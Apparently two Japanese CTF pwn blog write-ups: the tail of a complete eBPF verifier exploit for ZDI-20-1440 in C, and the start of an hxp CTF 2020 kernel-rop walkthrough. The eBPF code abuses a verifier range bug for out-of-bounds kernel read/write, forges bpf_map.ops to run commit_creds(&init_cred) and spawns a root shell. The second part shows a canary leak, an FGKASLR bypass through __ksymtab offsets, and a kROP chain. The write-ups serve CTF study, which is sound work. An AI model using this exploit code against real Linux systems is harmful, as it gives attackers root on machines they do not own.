    .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EMIT_CALL(FUNC)                     \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_CALL,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = (FUNC) })
#define BPF_JMP_REG(OP, DST, SRC, OFF)				  \
  ((struct bpf_insn) {					                \
    .code  = BPF_JMP | BPF_OP(OP) | BPF_X,      \
    .dst_reg = DST,					                    \
    .src_reg = SRC,					                    \
    .off   = OFF,					                      \
    .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)          \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_LD_ABS(SIZE, IMM)                   \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int array_create(int value_size, int num_entries) {
  union bpf_attr create_map_attrs = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = 4,
      .value_size = value_size,
      .max_entries = num_entries
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
  return mapfd;
}

int array_update(int mapfd, uint32_t key, uint64_t value)
{
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = (uint64_t)&value,
    .flags = BPF_ANY,
  };
  return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
}

int array_update_big(int mapfd, uint32_t key, char* value)
{
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = value,
    .flags = BPF_ANY,
  };
  return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
}

unsigned long get_ulong(int map_fd, uint64_t idx) {
  uint64_t value;
  union bpf_attr lookup_map_attrs = {
    .map_fd = map_fd,
    .key = (uint64_t)&idx,
    .value = (uint64_t)&value
  };
  if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
    err(1, "MAP_LOOKUP_ELEM");
  return value;
}

int prog_load(struct bpf_insn *insns, size_t insns_count) {
  char verifier_log[100000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = insns_count,
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  int errno_ = errno;
  //printf("==========================\n%s==========================\n",verifier_log);
  errno = errno_;
  if (progfd == -1)
    err(1, "prog load");
  return progfd;
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
  int progfd = prog_load(insns, insns_count);

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    err(1, "socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    err(1, "setsockopt");
  return socks[1];
}

void trigger_proc(int sockfd) {
  if (write(sockfd, "X", 1) != 1)
    err(1, "write to proc socket failed");
}
// (END eBPF-utils)


// commands
#define DEV_PATH ""   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
int control_map;
int reader = -1;
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
#define REP(N) for(int moratorium=0; moratorium!+N; ++N)
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
  ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
  ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
  ulong ax; ulong cx; ulong dx; ulong si; ulong di;
  ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  int ruid, euid, suid;
  getresuid(&ruid, &euid, &suid);
  if(euid != 0)
    errExit("[ERROR] somehow, couldn't get root...");
  system("/bin/sh");
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

ulong read_rel(int N)
{
  struct bpf_insn reader_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),               // r6 *= N

    // load it malciously
    BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6),       // r9 += r6 (r9 = &cmap[0] + N)
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 0),       // r3 = qword [r9] (r3 = [&cmap[0] + N])
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 0),       // [r8] = r3 (cmap[0] = r9)
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
  if(reader < 0){
    errExit("reader not initialized");
  }
  array_update(control_map, 0, 1);
  array_update(control_map, 1, 0);
  trigger_proc(reader);
  const ulong tmp = get_ulong(control_map, 0);
  return tmp;
}

ulong leak_controlmap(void)
{
  struct bpf_insn reader_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]

    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8, 0),       // [r8] = r3 (cmap[0] = r9)
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  int tmp_reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
  if(tmp_reader < 0){
    errExit("tmp_reader not initialized");
  }
  trigger_proc(tmp_reader);
  const ulong tmp = get_ulong(control_map, 0);
  return tmp;
}

void ops_NIRUGIRI(ulong controlmap_addr, ulong kernbase)
{
  const ulong fakeops_addr = controlmap_addr + 0x10;
  const ulong init_cred = kernbase + 0xE43E60;
  const ulong commit_creds = kernbase + 0x081E70;
  const uint N = 0x90;
  const uint zero = 0;
  printf("[.] init_cred: 0x%lx\n", (((init_cred>>32) & 0xFFFFFFFFUL)<<32) + (init_cred & 0xFFFFFFFFUL));

  struct bpf_insn writer_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    // overwrite ops into forged ops
    BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),       // r8 += r6
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
    // forge ptrs[0] with &init_cred
    BPF_MOV64_IMM(BPF_REG_2, 0),
    BPF_MOV64_IMM(BPF_REG_3, init_cred & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),
    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_3, 32),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3),
    BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_2, 0),
    
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  int evilwriter= create_filtered_socket_fd(writer_insns, ARRSIZE(writer_insns));
  if(evilwriter < 0){
    errExit("reader not initialized");
  }

  // setup fake table
  for(int ix=0; ix!=10; ++ix){
    array_update(control_map, ix+2, commit_creds);
  }
  array_update(control_map, 6, kernbase + 0x12B730);  // fd_array_map_delete_elem

  // overwrite bpf_map.ops
  array_update(control_map, 0, 1);
  array_update(control_map, 1, 0);
  trigger_proc(evilwriter);

  // NIRUGIRI
  union bpf_attr lookup_map_attrs = {
    .map_fd = control_map,
    .key = (uint64_t)&zero,
  };
  bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs);
  NIRUGIRI();
  printf("[-] press ENTER to die\n");
  WAIT;
}

int main(int argc, char *argv[]) {
  control_map = array_create(0x8, 0x10); // [0] always 1, [1] always 0

  // leak kernbase
  const ulong kernbase = read_rel(0x90) - 0xA12100;
  printf("[+] kernbase: 0x%lx\n", kernbase);

  // leak controlmap's addr
  const ulong controlmap_addr = leak_controlmap();
  printf("[+] controlmap: 0x%lx\n", controlmap_addr);

  // forge bpf_map.ops and do commit_creds(&init_cred)
  ops_NIRUGIRI(controlmap_addr, kernbase);

  return 0; // unreachable
}

 

8: アウトロ

f:id:smallkirby:20210220030702p:plain

FLAG{TSGはゲームサークルです}

最初は権限ゆるすぎてどうなんだろうと思ってたけど、bpf_map.btfなしでROOT取る流れを考えるのは楽しかったです。

もうすぐ春ですね。海を見に行きたいです。

 

 

9: 参考

1: author's writeup

https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/

2: original 0-day blog

https://www.thezdi.com/blog/2021/1/18/zdi-20-1440-an-incorrect-calculation-bug-in-the-linux-kernel-ebpf-verifier

3: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 49.0】kernel-rop - hxp CTF 2020 (kernel exploit)

keywords

kROP / FGKASLR / kernel exploit / ksymtab_xxx / rp++

 

f:id:smallkirby:20210216224221p:plain

Buffer Overflow vs Hottest Kernel Defenses

 

1: イントロ

いつぞや開催された hxp CTF 2020 。そのpwn問題である kernel-rop を解いていく。kernelを起動した瞬間にvulnとtopicをネタバレしていくスタイルだった。

そういえば、今月は自分の中でkernel-pwn強化月間で、解くべき問題を募集しているので、これは面白いから解いてみろとか、これは為になるから見てみろとかあったら教えてください。解ける限り解きます。

github.com

 

2: static

basic

basic.sh
/ $ cat /proc/version
Linux version 5.9.0-rc6+ (martin@martin) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils f0
/ $ lsmod
hackme 20480 0 - Live 0x0000000000000000 (O)
$ modinfo ./hackme.ko
filename:       /home/wataru/Documents/ctf/hxp2020/kernel-rop/work/./hackme.ko
version:        DEV
author:         Martin Radev <https://twitter.com/martin_b_radev>
description:    hackme
license:        GPL
srcversion:     838E71A30F4FFB7229182E4
depends:
retpoline:      Y
name:           hackme
vermagic:       5.9.0-rc6+ SMP mod_unload

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

SMEP有効・SMAP有効・KAISER有効・KASLR有効・oops!->panic

 

vmlinuzを展開してvmlinuxにしたところ、以下のメッセージが出た。

too-many-section.sh
$ file ./vmlinux
./vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)

too many section (36140)カーネルイメージで too many section といえば、 FGKASLR である。関数毎にセクションが用意されロード時にランダマイズされるため、関数ポインタのleakの殆どが無意味になる。

fgkaslr.sh
$ readelf -S ./vmlinux | grep kmem_cache
  [11414] .text.kmem_cache_ PROGBITS         ffffffff81643220  00843220
  [11448] .text.kmem_cache_ PROGBITS         ffffffff81644430  00844430
  [11449] .text.kmem_cache_ PROGBITS         ffffffff81644530  00844530
  [11457] .text.kmem_cache_ PROGBITS         ffffffff81644810  00844810
  [11458] .text.kmem_cache_ PROGBITS         ffffffff81644b00  00844b00
  [12494] .text.kmem_cache_ PROGBITS         ffffffff8169a1b0  0089a1b0
  [12536] .text.kmem_cache_ PROGBITS         ffffffff8169e710  0089e710
  [12537] .text.kmem_cache_ PROGBITS         ffffffff8169eb80  0089eb80
  [12540] .text.kmem_cache_ PROGBITS         ffffffff8169f240  0089f240
  [12541] .text.kmem_cache_ PROGBITS         ffffffff8169f6b0  0089f6b0
  [12553] .text.kmem_cache_ PROGBITS         ffffffff816a0f70  008a0f70
  [12557] .text.kmem_cache_ PROGBITS         ffffffff816a15b0  008a15b0
  [12559] .text.kmem_cache_ PROGBITS         ffffffff816a1a00  008a1a00
  [12561] .text.kmem_cache_ PROGBITS         ffffffff816a2020  008a2020

 

Module

おい、ソースないやんけ。その理由を書いた嘆願書も添付されてないやんけ。

hackme という名前のmiscdeviceが登録される。

f:id:smallkirby:20210216224304p:plain

registered miscdevice

 

実装されている操作は open/release/read/write の4つ。さてリバースをしようと思いGhidraを開いたら、 Ghidra君が全ての関数をデコンパイルすることを放棄してしまった。。。 これ、たまにある事象なので今度原因を調べる。それかIDAも使えるようにしておく。

f:id:smallkirby:20210216224324p:plain

見放さないでよ、Ghidraくん...

 

まぁアセンブリを読めばいいだけなので問題はない。read/writeはおおよそ以下の疑似コードのようなことをしている。

read-write.c
write(struct file *filp, char *data, size_t size, loff_t off){
    if(size <= 0x1000){
        __check_object_size(hackme_buf, size, 0);
        if(_copy_from_user(hackme_buf, buf, sizse)){
            return -0xE;
        }
        memcpy($rsp-0x98, hackme_buf, size); // <-- VULN: なにしてんのお前???
        __stack_chk_fail();
    }else{
        _warn_printk("Buffer_overflow_detected_(%d_<_%u)!", 0x1000, size);
        __stack_chk_fail(); // canary @ $rbp-0x18
        return -0xE;
    }
}
read(struct file *filp, char *data, size_t size){
    memcpy(hackme_buf, $rsp-0x98, size);    // <-- VULN: not initialized...
    __check_object_size(hackme_buf, size, 1);
    if(_copy_to_user(data, hackme_buf, size)){
        return -0xE;
    }
    __stack_chk_fail(); // canary @ $rbp-0x18
}

 

なんかもう、意味分からんことしてるな。FGKASLRのせいでGDBの表示もイカれてるし、しまいにはAbortしたわ。。。

f:id:smallkirby:20210216224359p:plain

GDB aborted...

 

まぁそれはいいとして、hackme_write()ではhackme_bufに読んだデータを、$rsp-0x98へとmemcpy()している。この際のサイズ制限は0x1000であるが、これだけのデータをスタックにコピーすると当然崩壊してしまう。だが、$rsp-0x18カナリアが飼われており、これを崩さないようにしないとOopsする。また、hackme_read()においては$rsp-0x98からのデータをhackme_bufにコピーし、そのあとでhackme_bufユーザランドにコピーしている。

 

3: Vuln

上のコードからも分かるとおり、スタックがかなりいじれる(R/W)。但し、カナリアは居る。

f:id:smallkirby:20210216224451p:plain

stack easily collapsed

4: leak canary

カナリアが飼われているものの、hackme_read()のチェックがガバガバのため、readに関しては思うがままにでき、よって容易にカナリアをleakできる。

canary-leak.c
/** snippet **/
  _read(fd, rbuf, 0x90);
  printf("[+] canary: %lx\n", ((ulong*)rbuf)[0x80/8]);
  
/** result **/
/ # /tmp/exploit
[+] canary: 32ce1536acf87a00
/ #

 

5: kROP

これでcanaryがleakできたため、スタックを任意に書き換えることができるようになった。SMEP/SMAPともに有効であるから、ユーザランドに飛ばすことはできない。また、FGKASLRが有効のためガジェットの位置がなかなか定まらない。FGKASLRが有効でもデータセクション及び一部の関数はランダマイズされないことは知っているが、そういったシンボルをどうやって見つければいいか分からなかった。

 

__ksymtab_xxx

ここでauthor's writeupカンニング

__ksymtab_xxxエントリをleakすればいいらしい。そこで試しにkmem_cache_alloc()の情報を以下に挙げる。

kmem_cache_alloc_info.sh
kernbase: 0xffffffff81000000
kmem_cache_create: 0xffffffff81644b00
__ksymtab_kmem_cache_create: 0xffffffff81f8b4b0
__kstrtab_kmem_cache_create: 0xffffffff81fa61ea

(gdb) x/4wx $ksymtab_kmem_cache_create
0xffffffff81f8b4b0:     0xff6b9650      0x0001ad36      0x0001988a

僕は__ksymtab_xxx各エントリには、シンボルのアドレス・__kstrtab_xxxへのポインタ・ネームスペースへのポインタがそれぞれ0x8byteで入っているものと思っていたが、上を見る感じそうではない。どうやら、KASLRが利用できるarchにおいては、このパッチでアドレスの代わりにオフセットを入れるようになったらしい。シンボルの各エントリは以下の構造を持ち、以下のようにして解決される。

include/linux/export.h
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
#include <linux/compiler.h>
(snipped...)
#define __KSYMTAB_ENTRY(sym, sec)					\
	__ADDRESSABLE(sym)						\
	asm("	.section \"___ksymtab" sec "+" #sym "\", \"a\"	\n"	\
	    "	.balign	4					\n"	\
	    "__ksymtab_" #sym ":				\n"	\
	    "	.long	" #sym "- .				\n"	\
	    "	.long	__kstrtab_" #sym "- .			\n"	\
	    "	.long	__kstrtabns_" #sym "- .			\n"	\
	    "	.previous					\n")

struct kernel_symbol {
	int value_offset;
	int name_offset;
	int namespace_offset;
};
#else
kernel/module.c
static unsigned long kernel_symbol_value(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
	return (unsigned long)offset_to_ptr(&sym->value_offset);
#else
	return sym->value;
#endif
}

static const char *kernel_symbol_name(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
	return offset_to_ptr(&sym->name_offset);
#else
	return sym->name;
#endif
}
include/linux/compiler.h
static inline void *offset_to_ptr(const int *off)
{
	return (void *)((unsigned long)off + *off);
}

要は、そのエントリのアドレスに対してそのエントリの持つ値を足してやれば、そのエントリの示すシンボルのアドレス、および__kstrtab_xxxのアドレスになるというわけである。そして、幸いなことにこのエントリ達はreadableなデータであり、FGKASLRの影響を受けない(KASLRの影響は受ける)。よって、この__ksymtab_xxxのアドレス、厳密にはこの配列のインデックスも固定であるためその内のどれか(一番最初のエントリはffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector)が分かればFGKASLRを完全に無効化したことになる。

 

find not-randomized pointer to leak kernbase

だがまだ進捗は全く出ていない。この__ksymtab_xxxのアドレス自体を決定する必要がある。今回は最初スタックからしかleakできないため、このstackをとにかく血眼になって FGKASLRの影響を受けていないポインタを探す 。以下のように、$RSP-38*0x8にあるポインタがKASLR有効の状態で何回か試しても影響を受けていなかった。

f:id:smallkirby:20210216224541p:plain

not-randomized pointer in stack

これで、kernbaseのリークができたことになる。すなわち、__ksymtab_xxxの全てのアドレスもleakできたことになる。

 

find gadget to leak the data of __ksymtab_xxx

さて、__ksymtab_xxxのアドレスが分かったが、今度はこの中身を抜くためのガジェットが必要になる。このガジェットも勿論、FGKASLRの影響を受けないような関数から取ってこなくてはならない。 ROP問って、ただガジェット探す時間が多くなるから嫌い 。。。

ということで、 rp++ のラッパーとしてFGKASLRに影響されないようなガジェットを探してくれるシンプルツールを書きました。まだまだバグだらけだけど、ゼロから探すよりかは8億倍楽だと思う。

github.com

 

これを使うと、以下のような感じでFGKASLRの影響を受けないシンボルだけを探してくれて。

f:id:smallkirby:20210216224658p:plain

wrapper of rp++ to find non-randomized symbols

実際に、これはFGKASLRの影響を受けていないことが分かる。こうなればあとは、ただのkROP問題だ。

f:id:smallkirby:20210216224726p:plain

actually the symbols found by neorp++ are not affected by FGKASLR

 

これを使って、gadgetを探して以下のようなchainを組んだ。

chain-to-leak-ksymtab.asm
  // leak symbols from __ksymtab_xxx
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x4D11; // pop rax
  *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
  *c++ = 'A'; // rbp
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &NIRUGIRI;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

